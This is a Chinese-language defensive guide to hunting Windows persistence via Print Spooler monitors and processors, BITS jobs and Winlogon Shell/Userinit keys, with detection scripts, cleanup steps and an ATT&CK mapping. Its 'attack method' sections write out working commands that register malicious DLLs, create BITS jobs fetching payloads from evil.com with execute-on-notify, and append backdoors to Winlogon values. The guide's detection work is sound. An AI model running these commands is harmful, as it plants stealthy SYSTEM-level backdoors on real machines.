Print Spooler与BITS持久化后门排查 本篇涵盖Print Spooler服务相关持久化(Print Monitors、Print Processors、Port Monitors)、BITS Jobs持久化,以及Winlogon注册表键的补充说明
这些技术利用合法的Windows服务和功能实现持久化,具有较高的隐蔽性
相关参考: 09-注册表持久化审计
一、Print Spooler持久化 1.1 Print Spooler服务概述 Print Spooler(spoolsv.exe)是Windows核心打印服务,默认启用并以SYSTEM权限运行
管理打印队列和打印驱动的加载
攻击者利用其DLL加载机制实现持久化:注册恶意DLL,Spooler启动时自动加载
历史上多次出现严重漏洞: PrintNightmare (CVE-2021-34527)、Print Spooler提权等
1.2 Print Monitors (打印监视器) 原理 Print Monitor是负责将数据发送到打印设备的组件
注册在HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\
spoolsv.exe启动时会加载所有注册的Monitor DLL
攻击者通过注册恶意DLL为Print Monitor实现持久化
DLL以SYSTEM权限 加载
攻击方式 注册恶意Print Monitor:
1 2 3 4 5 :: 注册恶意Print Monitor reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print \Monitors\EvilMonitor" /v Driver /t REG_SZ /d "evil_monitor.dll" /f :: 将恶意DLL复制到System32目录 copy C:\temp\evil_monitor.dll C:\Windows\System32\evil_monitor.dll
PowerShell方式:
1 2 New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors\BackdoorMon" -Name "Driver" -Value "backdoor.dll" -PropertyType String
检测方法 列出所有Print Monitor:
1 2 3 4 5 6 7 8 9 10 11 12 $monPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" Get-ChildItem $monPath | ForEach-Object { $name = $_ .PSChildName $driver = (Get-ItemProperty $_ .PSPath -ErrorAction SilentlyContinue).Driver [PSCustomObject ]@ { MonitorName = $name DriverDLL = $driver FullPath = if ($driver ) { "C:\Windows\System32\$driver " } else { "N/A" } Exists = if ($driver ) { Test-Path "C:\Windows\System32\$driver " } else { $false } } } | Format-Table -AutoSize
已知合法的Print Monitor:
1 2 3 4 5 6 合法Monitor列表(默认): - Local Port -> localspl.dll - Standard TCP/IP Port -> tcpmon.dll - USB Monitor -> usbmon.dll - WSD Port -> WSDMon.dll - Microsoft Shared Fax Monitor -> FXSMON.DLL
识别非标准Monitor:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $knownMonitors = @ ("Local Port" , "Standard TCP/IP Port" , "USB Monitor" , "WSD Port" , "Microsoft Shared Fax Monitor" , "Appmon" , "Send To Microsoft OneNote 16 Monitor" ) Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" | ForEach-Object { $name = $_ .PSChildName if ($name -notin $knownMonitors ) { $driver = (Get-ItemProperty $_ .PSPath -ErrorAction SilentlyContinue).Driver Write-Host "[ALERT] 非标准Print Monitor: $name -> $driver " -ForegroundColor Red $dllPath = "C:\Windows\System32\$driver " if (Test-Path $dllPath ) { $sig = Get-AuthenticodeSignature $dllPath Write-Host " 签名状态: $ ($sig .Status) - $ ($sig .SignerCertificate.Subject)" } } }
1.3 Print Processors (打印处理器) 原理 Print Processor负责处理打印数据的格式转换
注册在HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\
同样由spoolsv.exe以SYSTEM权限加载
检测方法 枚举Print Processors:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ppPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors" if (Test-Path $ppPath ) { Get-ChildItem $ppPath | ForEach-Object { $name = $_ .PSChildName $driver = (Get-ItemProperty $_ .PSPath -ErrorAction SilentlyContinue).Driver [PSCustomObject ]@ { ProcessorName = $name DriverDLL = $driver } } | Format-Table -AutoSize }
检查Print Processor DLL的存放目录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $spoolDir = "C:\Windows\System32\spool\prtprocs\x64" if (Test-Path $spoolDir ) { Get-ChildItem $spoolDir -Filter "*.dll" | ForEach-Object { $sig = Get-AuthenticodeSignature $_ .FullName [PSCustomObject ]@ { Name = $_ .Name Size = $_ .Length Modified = $_ .LastWriteTime Signed = $sig .Status Signer = $sig .SignerCertificate.Subject } } | Format-Table -AutoSize }
1.4 Port Monitors (端口监视器) 原理 Port Monitor管理打印端口的通信
也通过注册表注册DLL,由spoolsv.exe加载
攻击方式与Print Monitor类似
检测方法 检查注册的Port Monitor:
1 2 3 4 5 6 7 8 9 10 $portList = Get-PrinterPort | Select-Object Name, Description, PrinterHostAddress$portList | Format-Table -AutoSize Get-PrinterPort | Where-Object { $_ .PrinterHostAddress -and $_ .PrinterHostAddress -notmatch '^\d+\.\d+\.\d+\.\d+$|^$' } | ForEach-Object { Write-Host "[ALERT] 可疑打印端口: $ ($_ .Name) -> $ ($_ .PrinterHostAddress)" -ForegroundColor Red }
1.5 spoolsv.exe加载DLL检查 直接检查spoolsv.exe进程加载了哪些DLL:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $spoolProc = Get-Process spoolsv -ErrorAction SilentlyContinueif ($spoolProc ) { $spoolProc .Modules | ForEach-Object { $sig = Get-AuthenticodeSignature $_ .FileName -ErrorAction SilentlyContinue [PSCustomObject ]@ { ModuleName = $_ .ModuleName FileName = $_ .FileName Size = $_ .ModuleMemorySize Signed = if ($sig ) { $sig .Status } else { "Unknown" } } } | Where-Object { $_ .Signed -ne "Valid" } | Format-Table -AutoSize } else { Write-Host "Print Spooler服务未运行" }
使用Sysinternals Listdlls检查:
1 2 3 4 5 :: 使用Listdlls检查spoolsv.exe的DLL listdlls.exe spoolsv.exe :: 检查未签名的DLL listdlls.exe -u spoolsv.exe
1.6 PrintNightmare上下文 (CVE-2021-34527) PrintNightmare允许远程代码执行,攻击者可:
远程安装恶意打印驱动
通过打印驱动加载恶意DLL实现持久化
检查是否被PrintNightmare利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $driverDirs = @ ( "C:\Windows\System32\spool\drivers\x64\3" , "C:\Windows\System32\spool\drivers\x64\4" , "C:\Windows\System32\spool\drivers\W32X86\3" ) foreach ($dir in $driverDirs ) { if (Test-Path $dir ) { Get-ChildItem $dir -Filter "*.dll" -Recurse | ForEach-Object { $sig = Get-AuthenticodeSignature $_ .FullName -ErrorAction SilentlyContinue if ($sig .Status -ne "Valid" ) { Write-Host "[ALERT] 未签名打印驱动DLL: $ ($_ .FullName)" -ForegroundColor Red Write-Host " 大小: $ ($_ .Length) 修改时间: $ ($_ .LastWriteTime)" } } } }
检查补丁状态:
1 2 3 4 Get-HotFix | Where-Object { $_ .HotFixID -in @ ("KB5004945" , "KB5004946" , "KB5004947" , "KB5004948" , "KB5004950" , "KB5004951" , "KB5004953" , "KB5004954" , "KB5004955" , "KB5004956" , "KB5004958" ) } | Format-Table -AutoSize
1.7 Print Spooler加固 如果不需要打印服务,建议禁用:
1 2 3 4 5 6 7 Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled
限制远程打印:
1 2 Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers" -Name "RegisterSpoolerRemoteRpcEndPoint" -Value 2 -Type DWord
二、BITS Jobs持久化 2.1 BITS概述 BITS (Background Intelligent Transfer Service) 是Windows后台传输服务
原本用于Windows Update等后台下载任务
特点:
以SYSTEM权限 运行
任务可持久化 - 重启后继续执行
支持通知命令 - 任务完成后执行指定程序
默认情况下不被安全软件重点监控
攻击者利用BITS的通知命令(NotifyCmdLine)功能实现持久化
2.2 攻击方式 - bitsadmin命令 使用bitsadmin创建持久化下载任务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 :: 创建BITS任务 bitsadmin /create /download PersistJob :: 添加要下载的文件(可以是恶意payload) bitsadmin /addfile PersistJob http://evil.com/payload.exe C:\ProgramData\update.exe :: 设置任务完成后执行的命令(关键持久化点) bitsadmin /setnotifycmdline PersistJob C:\ProgramData\update.exe NULL :: 设置任务为最低优先级(减少被发现概率) bitsadmin /setpriority PersistJob LOW :: 设置最小重试延迟 bitsadmin /setminretrydelay PersistJob 60 :: 设置无进度超时(保持任务不过期) bitsadmin /setnoprogresstimeout PersistJob 0 :: 开始任务 bitsadmin /resume PersistJob
使用PowerShell创建BITS任务:
1 2 3 4 5 6 7 8 9 10 11 Import-Module BitsTransfer$job = Start-BitsTransfer -Source "http://evil.com/payload.exe" ` -Destination "C:\ProgramData\update.exe" ` -Asynchronous ` -Priority Low ` -DisplayName "WindowsUpdate"
利用BITS触发本地命令(无需实际下载):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 :: 创建任务,下载不存在的文件(永远不会成功) bitsadmin /create backdoor_task bitsadmin /addfile backdoor_task http://127 .0 .0 .1 /fake C:\temp\fake.txt :: 设置错误时执行的命令 bitsadmin /setnotifycmdline backdoor_task "C:\Windows\System32\cmd .exe" "/c C:\ProgramData\beacon.exe" :: 设置最小重试延迟(每60 秒重试) bitsadmin /setminretrydelay backdoor_task 60 :: 设置自定义HTTP头(用于C2通信) bitsadmin /setcustomheaders backdoor_task "Cookie: session=malicious_token" bitsadmin /resume backdoor_task
2.3 BITS持久化特性 BITS任务存储在数据库文件中:
1 2 3 C :\ProgramData\Microsoft\Network\Downloader\qmgr.dbC :\ProgramData\Microsoft\Network\Downloader\qmgr0.datC :\ProgramData\Microsoft\Network\Downloader\qmgr1.dat
任务重启后自动恢复
默认任务超时为90天(可通过参数修改)
任务以创建者的身份或SYSTEM权限运行
BITS使用合法的Windows HTTP通信,流量不易被识别为恶意
2.4 BITS检测方法 使用bitsadmin枚举 列出所有用户的BITS任务:
1 2 :: 列出所有用户的BITS任务(需要管理员权限) bitsadmin /list /allusers /verbose
筛选可疑任务:
1 2 3 4 5 6 7 8 :: 基础列表 bitsadmin /list /allusers :: 查看特定任务详情 bitsadmin /info <JobID> /verbose :: 查看任务的NotifyCmdLine bitsadmin /getnotifycmdline <JobID>
使用PowerShell枚举 Get-BitsTransfer检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Get-BitsTransfer -AllUsers | ForEach-Object { [PSCustomObject ]@ { DisplayName = $_ .DisplayName JobId = $_ .JobId JobState = $_ .JobState Owner = $_ .OwnerAccount Priority = $_ .Priority CreationTime = $_ .CreationTime TransferType = $_ .TransferType NotifyFlags = $_ .NotifyFlags FileCount = $_ .FilesTotal } } | Format-Table -AutoSize Get-BitsTransfer -AllUsers | ForEach-Object { Write-Host "=== 任务: $ ($_ .DisplayName) ===" -ForegroundColor Cyan Write-Host " 状态: $ ($_ .JobState)" Write-Host " 所有者: $ ($_ .OwnerAccount)" Write-Host " 创建时间: $ ($_ .CreationTime)" $_ .FileList | ForEach-Object { Write-Host " 远程文件: $ ($_ .RemoteName)" Write-Host " 本地文件: $ ($_ .LocalName)" } Write-Host "" }
使用COM接口获取NotifyCmdLine Get-BitsTransfer不显示NotifyCmdLine,需要COM接口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $bitsManager = New-Object -ComObject "Microsoft.BackgroundIntelligentTransfer.Management" $jobs = bitsadmin /list /allusers 2 >&1 if ($jobs -match "GUID" ) { $guids = [regex ]::Matches($jobs , '\{[0-9a-fA-F-]+\}' ) | ForEach-Object { $_ .Value } foreach ($guid in $guids ) { $notify = bitsadmin /getnotifycmdline $guid 2 >&1 if ($notify -notmatch "NONE" ) { Write-Host "[ALERT] BITS任务有通知命令: $guid " -ForegroundColor Red Write-Host " 命令: $notify " } } }
BITS-Client事件日志 BITS有专门的Operational日志:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Get-WinEvent -LogName "Microsoft-Windows-Bits-Client/Operational" -MaxEvents 100 | Select-Object TimeCreated, Id, Message | Format-Table -Wrap Get-WinEvent -FilterHashtable @ { LogName = 'Microsoft-Windows-Bits-Client/Operational' Id = 59 } -MaxEvents 100 -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "[ALERT] BITS通知命令执行:" -ForegroundColor Red Write-Host " 时间: $ ($_ .TimeCreated)" Write-Host " 详情: $ ($_ .Message)" } Get-WinEvent -FilterHashtable @ { LogName = 'Microsoft-Windows-Bits-Client/Operational' Id = 3 } -MaxEvents 200 -ErrorAction SilentlyContinue | Select-Object TimeCreated, Message | Format-List
2.5 BITS应急响应 取消并删除可疑BITS任务:
1 2 3 4 5 :: 取消特定任务 bitsadmin /cancel <JobID> :: 取消所有任务(慎用,可能影响Windows Update) bitsadmin /reset /allusers
PowerShell方式清理:
1 2 3 4 5 6 7 8 Get-BitsTransfer -AllUsers | Where-Object { $_ .DisplayName -notmatch "Windows Update|CCMDTS|SMS" } | ForEach-Object { Write-Host "移除BITS任务: $ ($_ .DisplayName) - $ ($_ .JobId)" -ForegroundColor Yellow $_ | Remove-BitsTransfer }
删除BITS数据库文件(彻底清除):
1 2 3 4 5 6 7 8 9 10 11 Stop-Service BITS -Force $bitsDb = "C:\ProgramData\Microsoft\Network\Downloader" Copy-Item $bitsDb "C:\IR\Evidence\BITS_DB" -Recurse Remove-Item "$bitsDb \qmgr*.dat" -Force -ErrorAction SilentlyContinueRemove-Item "$bitsDb \qmgr.db" -Force -ErrorAction SilentlyContinueStart-Service BITS
三、Winlogon注册表键(补充) 3.1 概述 Winlogon注册表键控制Windows登录过程,是经典的持久化位置
详细的注册表持久化审计参见 09-注册表持久化审计
本节补充Winlogon相关的三个关键键值: Shell、Userinit、Notify
3.2 Winlogon Shell 注册表路径:
1 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
正常值: explorer.exe
攻击者修改为:
1 2 :: 添加恶意程序到Shell reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\ProgramData\backdoor.exe" /f
检测:
1 2 3 4 5 6 $shell = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ).Shellif ($shell -ne "explorer.exe" ) { Write-Host "[ALERT] Winlogon Shell被修改: $shell " -ForegroundColor Red } else { Write-Host "[OK] Winlogon Shell正常: explorer.exe" -ForegroundColor Green }
3.3 Winlogon Userinit 注册表路径:
1 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
正常值: C:\Windows\system32\userinit.exe,(注意末尾逗号)
攻击者追加恶意程序:
1 2 :: 在Userinit后追加恶意程序 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe, C:\ProgramData\loader.exe" /f
检测:
1 2 3 4 5 6 $userinit = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ).Userinitif ($userinit -notmatch '^C:\\Windows\\system32\\userinit\.exe,?\s*$' ) { Write-Host "[ALERT] Winlogon Userinit被修改: $userinit " -ForegroundColor Red } else { Write-Host "[OK] Winlogon Userinit正常" -ForegroundColor Green }
3.4 Winlogon Notify (旧版Windows) 注册表路径:
1 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\
已在Windows Vista+中弃用,但仍需检查(兼容性遗留):
1 2 3 4 5 6 7 8 $notifyPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" if (Test-Path $notifyPath ) { Write-Host "[WARN] Winlogon Notify键存在(不应存在于现代Windows):" -ForegroundColor Yellow Get-ChildItem $notifyPath | ForEach-Object { $dllName = (Get-ItemProperty $_ .PSPath -ErrorAction SilentlyContinue).DLLName Write-Host " $ ($_ .PSChildName) -> $dllName " } }
3.5 综合Winlogon检查脚本 一次性检查所有Winlogon相关键值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Write-Host "===== Winlogon注册表检查 =====" -ForegroundColor Cyan$wlPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" $shell = (Get-ItemProperty $wlPath ).ShellWrite-Host "`n[Shell] $shell " -ForegroundColor $ (if ($shell -eq "explorer.exe" ) {"Green" } else {"Red" })$userinit = (Get-ItemProperty $wlPath ).UserinitWrite-Host "[Userinit] $userinit " -ForegroundColor $ ( if ($userinit -match '^C:\\Windows\\system32\\userinit\.exe,?\s*$' ) {"Green" } else {"Red" } ) $appsetup = (Get-ItemProperty $wlPath -ErrorAction SilentlyContinue).AppSetupif ($appsetup ) { Write-Host "[AppSetup] $appsetup " -ForegroundColor Yellow } $taskman = (Get-ItemProperty $wlPath -ErrorAction SilentlyContinue).Taskmanif ($taskman ) { Write-Host "[ALERT] Taskman: $taskman " -ForegroundColor Red } $system = (Get-ItemProperty $wlPath -ErrorAction SilentlyContinue).Systemif ($system ) { Write-Host "[System] $system " -ForegroundColor Yellow } $gina = (Get-ItemProperty $wlPath -ErrorAction SilentlyContinue).GinaDLLif ($gina ) { Write-Host "[ALERT] GinaDLL: $gina (不应存在于现代Windows)" -ForegroundColor Red } Write-Host "`n===== 检查完成 =====" -ForegroundColor Cyan
四、综合检测脚本 4.1 Print Spooler + BITS + Winlogon一键排查 综合排查脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 Write-Host "===============================================" -ForegroundColor CyanWrite-Host " Print Spooler / BITS / Winlogon 持久化排查" -ForegroundColor CyanWrite-Host "===============================================`n" -ForegroundColor CyanWrite-Host "[1] Print Monitors:" -ForegroundColor Yellow$knownMon = @ ("Local Port" ,"Standard TCP/IP Port" ,"USB Monitor" ,"WSD Port" , "Microsoft Shared Fax Monitor" ,"Appmon" ) Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors" -ErrorAction SilentlyContinue | ForEach-Object { $name = $_ .PSChildName $driver = (Get-ItemProperty $_ .PSPath -ErrorAction SilentlyContinue).Driver $color = if ($name -in $knownMon ) { "Gray" } else { "Red" } Write-Host " $name -> $driver " -ForegroundColor $color } Write-Host "`n[2] Print Processors:" -ForegroundColor Yellow$ppPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors" Get-ChildItem $ppPath -ErrorAction SilentlyContinue | ForEach-Object { $name = $_ .PSChildName $driver = (Get-ItemProperty $_ .PSPath -ErrorAction SilentlyContinue).Driver Write-Host " $name -> $driver " } Write-Host "`n[3] BITS任务:" -ForegroundColor Yellow$bitsJobs = Get-BitsTransfer -AllUsers -ErrorAction SilentlyContinueif ($bitsJobs ) { $bitsJobs | ForEach-Object { Write-Host " 名称: $ ($_ .DisplayName) | 状态: $ ($_ .JobState) | 所有者: $ ($_ .OwnerAccount)" -ForegroundColor Red } } else { Write-Host " 无活动BITS任务" -ForegroundColor Green } Write-Host "`n[4] Winlogon键值:" -ForegroundColor Yellow$wl = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" Write-Host " Shell: $ ($wl .Shell)" Write-Host " Userinit: $ ($wl .Userinit)" Write-Host "`n===============================================" -ForegroundColor Cyan
五、MITRE ATT&CK映射
技术ID
名称
说明
T1547.010
Boot or Logon Autostart: Port Monitors
Print Monitor DLL持久化
T1547.012
Boot or Logon Autostart: Print Processors
Print Processor DLL持久化
T1197
BITS Jobs
BITS任务持久化与数据传输
T1547.004
Boot or Logon Autostart: Winlogon Helper DLL
Winlogon Shell/Userinit/Notify
T1547.001
Boot or Logon Autostart: Registry Run Keys
注册表持久化(通用)
Print Spooler相关持久化属于Persistence战术,BITS同时属于Persistence和Defense Evasion战术
六、总结 本篇排查要点:
Print Monitor : 检查Control\Print\Monitors注册表,比对已知合法Monitor列表
Print Processor : 检查Print Processors注册表和spool目录中的DLL签名
spoolsv.exe : 审计进程加载的DLL,关注未签名模块
BITS任务 : bitsadmin /list /allusers /verbose列出所有任务,重点检查NotifyCmdLine
BITS日志 : Microsoft-Windows-Bits-Client/Operational日志,Event ID 59
Winlogon : 验证Shell=explorer.exe, Userinit=userinit.exe
更多注册表持久化位置参见 09-注册表持久化审计